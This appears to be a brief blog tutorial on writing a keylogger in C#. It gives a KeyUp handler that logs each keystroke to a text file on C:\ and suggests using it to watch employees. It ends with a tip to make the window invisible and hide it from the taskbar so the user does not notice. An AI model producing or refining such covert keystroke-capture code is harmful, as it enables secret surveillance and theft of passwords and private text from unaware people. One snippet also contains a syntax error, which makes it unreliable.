Key Logger Application in C#


In this article, I'll explain an easy but important concept of how to catch user pressed keys and write them into a log file.


Often you need to know what kind of key combination your final user has pressed, to know if they're doing the things in the right way, or just to know what they're writing as they are using the computer. Once, one client asked me to monitor the activity of his employees, to see if they were working when he was away.

Obviously, I can't write an example like that, I don't have enough room, but I reckon that this example will be useful to understand how to write a more difficult one.

We need a form, just put a listbox, just to see what's happening.

Now, lets set the KeyPreview Property of the form on true, so that well be able to catch keys.

ok, now let us write some code in the KeyUp Event.

  1. private void Form1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e)  
  2. {  
  3.     listBox1.Items.Add(e.KeyCode);  
  4.     StreamWriter sw = new StreamWriter(@"C:\Prova.txt"true);  
  5.     sw.Write(e.KeyCode);  
  6.     sw.Close();  
  7. }  

this line of code is to see keys pressed in the listbox;

then lets write the pressed keys in a text file:
  1. //Open or Create the file if doesnt exist  
  2. StreamWriter sw = new StreamWriter(@"C:\Prova.txt",true);  
  3. //Write into the file  
  4. sw.Write(e.KeyCode);  
  5. //Close the file.  
  6. sw.Close();  
Finally, I have a very good tip in order to use the application, without the user knowing.

We need to set the Opacity Property of the form on 0%, and to set ShowInTaskBar on False otherwise the user will know something is up.



Enjoy !!!